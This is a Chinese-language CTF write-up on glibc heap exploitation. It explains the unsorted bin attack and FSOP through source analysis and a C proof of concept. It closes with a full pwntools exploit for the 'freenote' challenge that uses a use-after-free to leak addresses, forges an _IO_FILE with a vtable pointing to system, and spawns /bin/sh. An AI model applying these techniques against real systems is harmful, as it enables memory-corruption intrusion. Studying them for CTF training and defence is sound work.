unsorted bin attack&&FSOP利用技巧

unsorted bin attack&&FSOP利用技巧

FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是**调用_IO_flush_all_lockp**,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

unsorted bin attack

unsorted bin attack可以实现在任意地址写入一个main_arena相关的地址,可以看下面部分源码分析漏洞原理。

1
2
3
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);

这是unsorted bin取出执行的操作,最后一句就是把取出bin的bk指针指向地址的fd指针赋值位unsorted_chunks,说着可能有点绕,看下图。

img

利用poc做个测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "本程序演示了通过向栈上写入一个大的 unsigned long 值实现 unsorted bin 攻击\n");
fprintf(stderr, "实际上,unsorted bin 攻击一般用于为后续攻击做准备,"
"例如重写 libc 中的全局变量 global_max_fast,从而进行 fastbin 攻击\n\n");

unsigned long stack_var=0;
fprintf(stderr, "首先来看一下我们想要重写的栈上变量:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);
fprintf(stderr, "现在,我们在堆上分配第一个正常的 chunk,地址为:%p\n",p);
fprintf(stderr, "再分配另一个正常的 chunk,以避免在 free() 时顶 chunk 与第一个 chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "我们释放第一个 chunk,它将被插入到 unsorted bin 中,且其 bk 指针指向 %p\n",(void*)p[1]);

//------------漏洞模拟-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在模拟一个漏洞,覆盖 victim->bk 指针\n");
fprintf(stderr, "并将其写为目标地址减去 16 (在32位机器上应为目标地址减去8): %p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "再次 malloc 来获取刚释放的 chunk。此时目标地址应已经被重写:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

测试结果如下,目标地址的值成功被main_arena相关地址覆盖

image-20250725173925604

FSOP

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

前面unsorted bin attack可将_IO_list_all指针的值修改为main_arena+88。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr_IO_write_base的对应偏移处构造出合适的值。

所以将目光转向_IO_FILE的链表特性。_IO_flush_all_lockp函数会通过fp = fp->_chain不断的寻找下一个_IO_FILE

巧妙的是,_IO_FILE结构中的_chain字段对应偏移是0x68,而在main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,所有我们可以利用其他漏洞修改unsorted bin的size位0x61,所以在将其链入small bin[0x60]之后,就可以实现如下图所示的攻击链。

因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入 _IO_FILE_plus 头部。

830671_HU9RPYGJFHCFAAZ.png (1200×551)

例题

附件

题目关键点分析

image-20250725174440143

题目中的malloc相关操作,都会向0x80对齐,无法利用fast bin。

image-20250725174551850

仅仅存在UAF漏洞

利用思路:

  1. 利用UAF去泄露堆地址和栈地址
  2. 利用edit中的realloc修改unsorted bin的size为0x61bk指针为IO_list_all - 0x10,并布置伪造的IO结构体
  3. 利用unsorted bin attack修改IO_list_all为main_arean+88

对于2.23的FSOP

修改unsorted binsize0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Basic PWN Template - Basic Template
Author: p0ach1l
Date: 2025-07-24
Target: no description
"""

from pwn import *
from ctypes import *
from LibcSearcher import *
from pwnscript import *


filename = "./freenote_x64"
url = 'node5.buuoj.cn:28856'
gdbscript = '''
# b * 0x0000000000400CA5
'''
set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5)
p = pr(url=url , filename=filename , gdbscript=gdbscript , framepath='')
elf = ELF(filename)
libc = ELF("/usr/lib/freelibs/amd64/2.23-0ubuntu11_amd64/libc.so.6")

'''
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:
'''

def choice(idx) :
p.sendlineafter("Your choice:" , str(idx))

def show() :
choice(1)

def add(size , content) :
choice(2)
p.sendlineafter("Length of new note: " , str(size))
p.sendlineafter("Enter your note: " , content.ljust(size , b'\x00'))

def edit(idx , new_size , content) :
choice(3)
p.sendlineafter("Note number: " , str(idx))
p.sendlineafter("Length of note: " , str(new_size))
p.sendlineafter("Enter your note: " , content.ljust(new_size , b'\x00'))

def free(idx) :
choice(4)
p.sendlineafter("Note number: " , str(idx))

add(0x200 , b'a')
add(0x80 , b'a')
add(0x200 , b'a')
add(0x80 , b'a')

free(2)
free(0)

add(0x200 , b'a')
free(2)

show()

p.recvuntil(b'0. ')
heap_addr = u64(p.recvuntil(b'\n' , drop=True).ljust(0x8 , b'\x00'))

add(0x200 , b'a')

show()
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(0x8 , b'\x00')) - 0x3c4b78
libc.address = libc_base
IO_list_all = libc.sym['_IO_list_all']
system_addr = libc.sym['system']

payload = flat([
b'a' * 0x80,
0,
0x211
])

edit(1 , 0x280 , payload)
free(0)

payload = flat([
b'a' * 0x80,
b'/bin/sh\x00', ##结构体的首个
0x61,
0,
IO_list_all - 0x10,
0,
1,
b'\x00' * 0xa8, ##只能是\x00
heap_addr + 0x380,
[0] * 2,
[system_addr] * 2
])

edit(1 , 0x280 , payload)

choice(2)
p.sendlineafter("Length of new note: " , str(0x300))

lss("IO_list_all")
lss("libc_base")
lss("heap_addr")
p.interactive()